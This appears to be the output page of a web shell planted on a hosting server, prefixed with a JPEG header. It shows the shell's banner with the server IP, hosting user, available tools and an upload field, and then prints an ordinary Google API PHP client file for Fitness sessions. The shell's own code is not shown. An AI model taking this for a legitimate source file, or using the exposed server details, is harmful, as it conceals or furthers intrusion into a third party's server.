����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.218.83.143 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/google/apiclient-services/src/Fitness/Resource/ |
Upload File : |
<?php /* * Copyright 2014 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ namespace Google\Service\Fitness\Resource; use Google\Service\Fitness\ListSessionsResponse; use Google\Service\Fitness\Session; /** * The "sessions" collection of methods. * Typical usage is: * <code> * $fitnessService = new Google\Service\Fitness(...); * $sessions = $fitnessService->sessions; * </code> */ class UsersSessions extends \Google\Service\Resource { /** * Deletes a session specified by the given session ID. (sessions.delete) * * @param string $userId Delete a session for the person identified. Use me to * indicate the authenticated user. Only me is supported at this time. * @param string $sessionId The ID of the session to be deleted. * @param array $optParams Optional parameters. */ public function delete($userId, $sessionId, $optParams = []) { $params = ['userId' => $userId, 'sessionId' => $sessionId]; $params = array_merge($params, $optParams); return $this->call('delete', [$params]); } /** * Lists sessions previously created. (sessions.listUsersSessions) * * @param string $userId List sessions for the person identified. Use me to * indicate the authenticated user. Only me is supported at this time. * @param array $optParams Optional parameters. * * @opt_param int activityType If non-empty, only sessions with these activity * types should be returned. * @opt_param string endTime An RFC3339 timestamp. Only sessions ending between * the start and end times will be included in the response. If this time is * omitted but startTime is specified, all sessions from startTime to the end of * time will be returned. * @opt_param bool includeDeleted If true, and if both startTime and endTime are * omitted, session deletions will be returned. * @opt_param string pageToken The continuation token, which is used for * incremental syncing. To get the next batch of changes, set this parameter to * the value of nextPageToken from the previous response. The page token is * ignored if either start or end time is specified. If none of start time, end * time, and the page token is specified, sessions modified in the last 30 days * are returned. * @opt_param string startTime An RFC3339 timestamp. Only sessions ending * between the start and end times will be included in the response. If this * time is omitted but endTime is specified, all sessions from the start of time * up to endTime will be returned. * @return ListSessionsResponse */ public function listUsersSessions($userId, $optParams = []) { $params = ['userId' => $userId]; $params = array_merge($params, $optParams); return $this->call('list', [$params], ListSessionsResponse::class); } /** * Updates or insert a given session. (sessions.update) * * @param string $userId Create sessions for the person identified. Use me to * indicate the authenticated user. Only me is supported at this time. * @param string $sessionId The ID of the session to be created. * @param Session $postBody * @param array $optParams Optional parameters. * @return Session */ public function update($userId, $sessionId, Session $postBody, $optParams = []) { $params = ['userId' => $userId, 'sessionId' => $sessionId, 'postBody' => $postBody]; $params = array_merge($params, $optParams); return $this->call('update', [$params], Session::class); } } // Adding a class alias for backwards compatibility with the previous class name. class_alias(UsersSessions::class, 'Google_Service_Fitness_Resource_UsersSessions');